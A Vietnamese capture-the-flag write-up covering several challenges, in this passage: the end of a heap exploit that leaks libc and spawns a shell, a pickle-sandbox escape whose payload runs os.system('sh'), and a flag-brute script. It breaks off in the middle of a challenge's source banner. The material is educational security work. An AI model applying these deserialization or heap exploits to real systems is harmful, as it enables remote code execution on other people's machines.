<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span>(<span class="hljs-params">idx</span>):</span>
    sla(<span class="hljs-string">b'entry'</span>, <span class="hljs-string">b'2'</span>)
    sla(<span class="hljs-string">b'Page'</span>, str(idx).encode())
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">deobfuscate</span>(<span class="hljs-params">val</span>):</span>
    mask = <span class="hljs-number">0xfff</span> &lt;&lt; <span class="hljs-number">52</span>
    <span class="hljs-keyword">while</span> mask:
        v = val &amp; mask
        val ^= (v &gt;&gt; <span class="hljs-number">12</span>)
        mask &gt;&gt;= <span class="hljs-number">12</span>
    <span class="hljs-keyword">return</span> val



<span class="hljs-comment">#context.log_level = 'debug'</span>

<span class="hljs-comment">#p = process()</span>
p = remote(<span class="hljs-string">'94.237.58.211'</span>, <span class="hljs-number">55260</span>)
<span class="hljs-comment">#gdb.attach(p, gdbscript='''</span>
<span class="hljs-comment">#           b show</span>
<span class="hljs-comment">#           b _</span>
<span class="hljs-comment">#           c''')</span>

add(<span class="hljs-number">0x10</span>, <span class="hljs-number">0</span>, <span class="hljs-string">b'A'</span>)
add(<span class="hljs-number">0x10</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'A'</span>)
delete(<span class="hljs-number">0</span>)
delete(<span class="hljs-number">1</span>)
show(<span class="hljs-number">1</span>)
p.recvuntil(<span class="hljs-string">b'Page content: '</span>)
leak = p.recvline()[:<span class="hljs-number">-1</span>]
leak = int.from_bytes(leak, byteorder=<span class="hljs-string">'little'</span>)
leak = deobfuscate(leak)
print(<span class="hljs-string">'leak: '</span>, hex(leak))
heap = leak - <span class="hljs-number">1712</span>
print(<span class="hljs-string">'heap: '</span>, hex(heap))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">9</span>):
    add(<span class="hljs-number">0x80</span>, i, <span class="hljs-string">b'A'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>):
    delete(i)
show(<span class="hljs-number">7</span>)
p.recvuntil(<span class="hljs-string">b'Page content: '</span>)
leak = p.recvline()[:<span class="hljs-number">-1</span>]
leak = int.from_bytes(leak, byteorder=<span class="hljs-string">'little'</span>)
print(<span class="hljs-string">'leak: '</span>, hex(leak))
libc.address = leak - <span class="hljs-number">2206944</span>
print(<span class="hljs-string">'libc: '</span>, hex(libc.address))
add(<span class="hljs-number">0x10</span>, <span class="hljs-number">0</span>, hex(libc.symbols[<span class="hljs-string">'system'</span>]).encode())
add(<span class="hljs-number">0x10</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b'/bin/sh\x00'</span>)
p.sendlineafter(<span class="hljs-string">b'entry'</span>, <span class="hljs-string">b'42'</span>)


p.interactive()
</code></pre>
<h1 id="heading-misc">MISC</h1>
<h2 id="heading-were-pickle-phreaks">Were Pickle Phreaks</h2>
<p><strong><em>credit: MacHongNam</em></strong></p>
<h3 id="heading-analysis">Analysis</h3>
<p>Source code:</p>
<p><strong>app.py</strong>:</p>
<pre><code class="lang-python"><span class="hljs-comment"># python 3.8</span>
<span class="hljs-keyword">from</span> sandbox <span class="hljs-keyword">import</span> unpickle, pickle
<span class="hljs-keyword">import</span> random

members = []

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Phreaks</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, hacker_handle, category, id</span>):</span>
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">display_info</span>(<span class="hljs-params">self</span>):</span>
        print(<span class="hljs-string">'================ =============='</span>)
        print(<span class="hljs-string">f'Hacker Handle    <span class="hljs-subst">{self.hacker_handle}</span>'</span>)
        print(<span class="hljs-string">'================ =============='</span>)
        print(<span class="hljs-string">f'Category         <span class="hljs-subst">{self.category}</span>'</span>)
        print(<span class="hljs-string">f'Id               <span class="hljs-subst">{self.id}</span>'</span>)
        print()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">menu</span>():</span>
    print(<span class="hljs-string">'Phreaks member registration v2'</span>)
    print(<span class="hljs-string">'1. View current members'</span>)
    print(<span class="hljs-string">'2. Register new member'</span>)
    print(<span class="hljs-string">'3. Exit'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_existing_members</span>():</span>
    members.append(pickle(Phreaks(<span class="hljs-string">'Skrill'</span>, <span class="hljs-string">'Rev'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Alfredy'</span>, <span class="hljs-string">'Hardware'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Suspicious'</span>, <span class="hljs-string">'Pwn'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Queso'</span>, <span class="hljs-string">'Web'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Stackos'</span>, <span class="hljs-string">'Blockchain'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Lin'</span>, <span class="hljs-string">'Web'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Almost Blood'</span>, <span class="hljs-string">'JIT'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Fiasco'</span>, <span class="hljs-string">'Web'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Big Mac'</span>, <span class="hljs-string">'Web'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Freda'</span>, <span class="hljs-string">'Forensics'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))
    members.append(pickle(Phreaks(<span class="hljs-string">'Karamuse'</span>, <span class="hljs-string">'ML'</span>, random.randint(<span class="hljs-number">1</span>, <span class="hljs-number">10000</span>))))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">view_members</span>():</span>
    <span class="hljs-keyword">for</span> member <span class="hljs-keyword">in</span> members:
        <span class="hljs-keyword">try</span>:
            member = unpickle(member)
            member.display_info()
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            print(<span class="hljs-string">'Invalid Phreaks member'</span>, e)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">register_member</span>():</span>
    pickle_data = input(<span class="hljs-string">'Enter new member data: '</span>)
    members.append(pickle_data)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    add_existing_members()
    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        menu()
        <span class="hljs-keyword">try</span>:
            option = int(input(<span class="hljs-string">'&gt; '</span>))
        <span class="hljs-keyword">except</span> ValueError:
            print(<span class="hljs-string">'Invalid input'</span>)
            print()
            <span class="hljs-keyword">continue</span>
        <span class="hljs-keyword">if</span> option == <span class="hljs-number">1</span>:
            view_members()
        <span class="hljs-keyword">elif</span> option == <span class="hljs-number">2</span>:
            register_member()
        <span class="hljs-keyword">elif</span> option == <span class="hljs-number">3</span>:
            print(<span class="hljs-string">'Exiting...'</span>)
            exit()
        <span class="hljs-keyword">else</span>:
            print(<span class="hljs-string">'No such option'</span>)
        print()

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    main()
</code></pre>
<p>Đây là một chương trình với 2 chức năng cơ bản:</p>
<ul>
<li><p><code>view_members()</code>: thực hiện deserialize và hiển thị các đối tượng</p>
</li>
<li><p><code>register_member()</code>: nhận input là dạng base64 của 1 đối tượng sau khi đã serialize</p>
</li>
</ul>
<p><strong>sandbox.py:</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64decode, b64encode 
<span class="hljs-keyword">from</span> io <span class="hljs-keyword">import</span> BytesIO
<span class="hljs-keyword">import</span> pickle <span class="hljs-keyword">as</span> _pickle

ALLOWED_PICKLE_MODULES = [<span class="hljs-string">'__main__'</span>, <span class="hljs-string">'app'</span>]
UNSAFE_NAMES = [<span class="hljs-string">'__builtins__'</span>]

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RestrictedUnpickler</span>(<span class="hljs-params">_pickle.Unpickler</span>):</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">find_class</span>(<span class="hljs-params">self, module, name</span>):</span>
        print(module, name)
        <span class="hljs-keyword">if</span> (module <span class="hljs-keyword">in</span> ALLOWED_PICKLE_MODULES <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> any(name.startswith(<span class="hljs-string">f"<span class="hljs-subst">{name_}</span>."</span>) <span class="hljs-keyword">for</span> name_ <span class="hljs-keyword">in</span> UNSAFE_NAMES)):
            <span class="hljs-keyword">return</span> super().find_class(module, name)
        <span class="hljs-keyword">raise</span> _pickle.UnpicklingError()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">unpickle</span>(<span class="hljs-params">data</span>):</span>
    <span class="hljs-keyword">return</span> RestrictedUnpickler(BytesIO(b64decode(data))).load()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pickle</span>(<span class="hljs-params">obj</span>):</span>
    <span class="hljs-keyword">return</span> b64encode(_pickle.dumps(obj))
</code></pre>
<ul>
<li>Ở đây, class RestrictedUnpickler kế thừa từ <code>_pickle.Unpickler</code>, định nghĩa phương thức <code>findclass()</code> thực hiện detect các module và name được cho phép. Trong <code>pickle</code>, phương thức <code>find_class()</code> có source code như sau:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">find_class</span>(<span class="hljs-params">self, module, name</span>):</span>
    <span class="hljs-comment"># Subclasses may override this.</span>
    sys.audit(<span class="hljs-string">'pickle.find_class'</span>, module, name)
    <span class="hljs-keyword">if</span> self.proto &lt; <span class="hljs-number">3</span> <span class="hljs-keyword">and</span> self.fix_imports:
        <span class="hljs-keyword">if</span> (module, name) <span class="hljs-keyword">in</span> _compat_pickle.NAME_MAPPING:
            module, name = _compat_pickle.NAME_MAPPING[(module, name)]
        <span class="hljs-keyword">elif</span> module <span class="hljs-keyword">in</span> _compat_pickle.IMPORT_MAPPING:
            module = _compat_pickle.IMPORT_MAPPING[module]
    __import__(module, level=<span class="hljs-number">0</span>)
    <span class="hljs-keyword">if</span> self.proto &gt;= <span class="hljs-number">4</span>:
        <span class="hljs-keyword">return</span> _getattribute(sys.modules[module], name)[<span class="hljs-number">0</span>]
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> getattr(sys.modules[module], name)
</code></pre>
<p>Nó được dùng để tìm và nhập các module được chỉ định trong dữ liệu đã được pickled. <code>RestrictedUnpickler</code> hook vào phương thức <code>find_class()</code> để thực hiện sàng lọc các module. Ở đây các module được cho phép là <code>__main__</code>, app và name bị cấm là <code>__builtins__</code></p>
<h3 id="heading-solution-13">Solution</h3>
<p>Trong python, các module liên kết với nhau, do đó từ <code>__main__</code>, <code>app</code> chúng ta có thể nhập các module khác. Sử dụng <code>dir()</code> để check xem <code>__main__</code> có những module nào:</p>
<p><img src="https://hackmd.io/_uploads/SyPWVxNA6.png" alt="image" /></p>
<p>Chú ý một chút thì đoạn code filter khá lỏng lẻo:</p>
<pre><code class="lang-python"><span class="hljs-keyword">if</span> (module <span class="hljs-keyword">in</span> ALLOWED_PICKLE_MODULES <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> any(name.startswith(<span class="hljs-string">f"<span class="hljs-subst">{name_}</span>."</span>) <span class="hljs-keyword">for</span> name_ <span class="hljs-keyword">in</span> UNSAFE_NAMES)):
</code></pre>
<p>Nó chỉ check xem name có bắt đầu bằng <code>__builtins__.</code> hay không, do đó mình có thể bypass bằng <code>__setattr__</code> để đổi name của <code>__builtins__</code> thành một ký tự khác. Mình sử dụng <a target="_blank" href="https://github.com/splitline/Pickora"><code>Pickora</code></a> để compile python pickle scripts, Pickle sử dụng GLOBAL để nhập module.</p>
<p><strong>Solve script:</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> pickora <span class="hljs-keyword">import</span> Compiler
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64encode

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    compiler = Compiler()
    payload = <span class="hljs-string">b"setattr = GLOBAL('__main__', '__setattr__');"</span>
    payload += <span class="hljs-string">b"builtins = GLOBAL('__main__','__builtins__');"</span>
    payload += <span class="hljs-string">b"setattr('e',builtins);"</span>
    payload += <span class="hljs-string">b"GLOBAL('__main__','e.eval')(\"__import__('os').system('sh')\")"</span>
    print(b64encode(compiler.compile(payload)).decode())
</code></pre>
<p>Giải thích một chút, GLOBAL(<code>'__main__', '__setattr__'</code>) lấy function <code>__main__.__setattr__</code> và gán vào biến <code>setattr</code>, tương tự là <code>builtins. setattr('e',builtins)</code> thực hiện set function <code>__main__.__builtins__</code> thành <code>e</code> và cuối cùng là gọi <code>e.eval</code> để thực thi code python <code>__import__('os').system('sh')</code>.</p>
<p><img src="https://hackmd.io/_uploads/SJ7pzbNRp.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/BkoZ7W4A6.png" alt="image" /></p>
<h2 id="heading-were-pickle-phreaks-revenge">Were Pickle Phreaks Revenge</h2>
<p><strong><em>credit: MacHongNam</em></strong></p>
<p>Source code không thay đổi, thay đổi duy nhất đến từ <a target="_blank" href="http://sandbox.py">sandbox.py</a>:</p>
<pre><code class="lang-python">ALLOWED_PICKLE_MODULES = [<span class="hljs-string">'__main__'</span>, <span class="hljs-string">'app'</span>]
UNSAFE_NAMES = [<span class="hljs-string">'__builtins__'</span>, <span class="hljs-string">'random'</span>]
</code></pre>
<p>Có lẽ hướng intended của challege Were Pickle Phreaks là sử dụng module random để thực hiện call các module khác:</p>
<p><img src="https://hackmd.io/_uploads/HkV94WEA6.png" alt="image" /></p>
<p>Ở đây có thể sử dụng module <code>_os</code> để gọi hàm <code>system()</code>:</p>
<p><img src="https://hackmd.io/_uploads/SJ1HSbVCa.png" alt="image" /></p>
<p>Cách của mình không sử dụng đến module <code>random</code> nên có thể bypass luôn challenge này:</p>
<p><img src="https://hackmd.io/_uploads/rJtRu-V0a.png" alt="image" /></p>
<h2 id="heading-character">Character</h2>
<p><strong><em>credit: MinhFanBoy</em></strong></p>
<p><strong><em>TASK</em></strong></p>
<p>Mình kết nối đến sever thì được yêu cầu nhập một số và số ta sẽ nhận lại được flag tại vị trí đó. Nên mình viết một script đơn giản để gửi tất cả các số tới khi nhận được ký tự "}".</p>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>() -&gt; <span class="hljs-keyword">None</span>:</span>
    i = <span class="hljs-number">0</span>
    s = remote(<span class="hljs-string">"83.136.252.194"</span>, <span class="hljs-number">57105</span>)

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        s.recvuntil(<span class="hljs-string">b"Enter an index: "</span>)

        s.sendline(<span class="hljs-string">f"<span class="hljs-subst">{i}</span>"</span>.encode())

        s.recvuntil(<span class="hljs-string">f"at Index <span class="hljs-subst">{i}</span>: "</span>.encode())
        print(s.recvline()[:<span class="hljs-number">-1</span>].decode(), end=<span class="hljs-string">""</span>, flush=<span class="hljs-literal">True</span>)
        i += <span class="hljs-number">1</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<h2 id="heading-unbreakable">Unbreakable</h2>
<p><strong><em>credit: MinhFanBoy</em></strong></p>
<p><strong><em>SOURCE:</em></strong></p>
<pre><code class="lang-py"><span class="hljs-comment">#!/usr/bin/python3</span>

banner1 = <span class="hljs-string">'''
                   __ooooooooo__
              oOOOOOOOOOOOOOOOOOOOOOo
          oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
       oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
     oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
   oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
  oOOOOOOOOOOO*  *OOOOOOOOOOOOOO*  *OOOOOOOOOOOOo
 oOOOOOOOOOOO      OOOOOOOOOOOO      OOOOOOOOOOOOo
 oOOOOOOOOOOOOo  oOOOOOOOOOOOOOOo  oOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOO     OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO     OOOOo
oOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOo
 *OOOOO  OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO  OOOOO*
 *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
  *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
   *OOOOOOo  *OOOOOOOOOOOOOOOOOOOOOOO*  oOOOOOO*
     *OOOOOOOo  *OOOOOOOOOOOOOOOOO*  oOOOOOOO*
       *OOOOOOOOo  *OOOOOOOOOOO*  oOOOOOOOO*      
          *OOOOOOOOo           oOOOOOOOO*      
              *OOOOOOOOOOOOOOOOOOOOO*          
                   ""ooooooooo""
'''</span>

banner2 = <span class="hljs-string">'''
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠻⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⢀⠀⠀⠀⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⣼⣰⢷⡤⠀⠈⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣇⠀⠉⣿⠈⢻⡀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢹⡀⠀⢷⡀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠀⠘⣧⠀⢸⡇⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⠶⠾⠿⢷⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡆⠀⠘⣦⠀⣇⠀⠘⣿⣤⣶⡶⠶⠛⠛⠛⠛⠶⠶⣤⣾⠋⠀⠀⠀⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣄⠀⠘⣦⣿⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡟⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣦⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢠⣿⠏⠁⠀⢀⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠀⠀⠀⠀⠀⠀⠀⢰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⠶⠛⠉⢀⣄⠀⠀⠀⢀⣿⠃⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣀⣠⡶⠟⠋⠁⠀⠀⠀⣼⡇⠀⢠⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⣀⣀⣠⠿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠋⠁⠀⠀⠀⠀⣀⣤⣤⣿⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠀⠀⢻⡇⠀⠀⠀⠀⢠⣄⠀⢶⣄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠟⠛⠋⠹⢿⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠘⢷⡄⠙⣧⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠘⢸⡀⠀⠿⠀⠀⠀⣠⣤⣤⣄⣄⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣀⡀⠀⠀⠀⢸⡟⠻⣿⣦⡀⠀⠀⠀⠙⢾⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⣴⡏⠁⠀⠀⠹⣷⠀⠀⠀⠀⣠⡿⠋⠀⠀⠈⣷⠀⠀⠀⣾⠃⠀⠀⠉⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡆⠀⠀⠀⠘⢷⣄⡀⣀⣠⣿⠀⠀⠀⠀⠻⣧⣄⣀⣠⣴⠿⠁⠀⢠⡟⠀⠀⠀⠀⠀⠙⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣾⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡽⣦⡀⣀⠀⠀⠉⠉⠉⠉⠀⢀⣀⣀⡀⠀⠉⠉⠉⠁⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⡀⠀⠀⠀⠀⠀⠀⠀
⠀⢰⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠃⠈⢿⣿⣧⣄⠀⠀⠰⣦⣀⣭⡿⣟⣍⣀⣿⠆⠀⠀⡀⣠⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⢀⣤⣽⣷⣤⣤⠀⠀⠀⠀⠀
⠀⢀⣿⡆⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⢀⣴⠖⠋⠁⠈⠻⣿⣿⣿⣶⣶⣤⡉⠉⠀⠈⠉⢉⣀⣤⣶⣶⣿⣿⣿⠃⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠉⠻⣷⣄⠀⠀⠀
⠀⣼⡏⣿⠀⢀⣤⠽⠖⠒⠒⠲⣤⣤⡾⠋⠀⠀⠀⠀⠀⠈⠈⠙⢿⣿⣿⣿⣿⣿⣾⣷⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⣀⣤⠶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀
⢰⣿⠁⢹⠀⠈⠀⠀⠀⠀⠀⠀⠀⣿⠷⠦⠄⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⢀⣠⠶⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀
⣸⡇⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠉⠉⠛⠋⠉⠙⢧⠀⠀⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡆
⣿⡇⠀⠀⠈⠆⠀⠀⣠⠟⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢿⠀⠀⠀⠀⠀⠀⠀⠈⠱⣄⣸⡇⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣻⡇
⢻⣧⠀⠀⠀⠀⠀⣸⣥⣄⡀⠀⠀⣾⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠂⠀⠀⠀⠀⠀⠀⣿⡇
⢸⣿⣦⠀⠀⠀⠚⠉⠀⠈⠉⠻⣾⣿⡏⢻⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣟⢘⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠐⡟⠀⠀⠀⠀⠀⠀⢀⣿⠁
⢸⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣇⠈⠻⠷⠦⠤⣄⣀⣀⣀⣀⣠⣿⣿⣄⠀⠀⠀⠀⠀⣠⡾⠋⠄⠀⠈⢳⡀⠀⠀⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀⠀⠀⣸⠟⠀
⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⣔⠢⠤⠤⠀⠀⠈⠉⠉⠉⢤⠀⠙⠓⠦⠤⣤⣼⠋⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⢀⣼⡟⠀⠀
⠀⢻⣷⣖⠦⠄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⢳⡀⠈⠛⢦⣀⡀⠀⠀⠘⢷⠀⠀⠀⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⣠⠏⠀⠀⠀⠀⣀⣴⡿⠋⠀⠀⠀
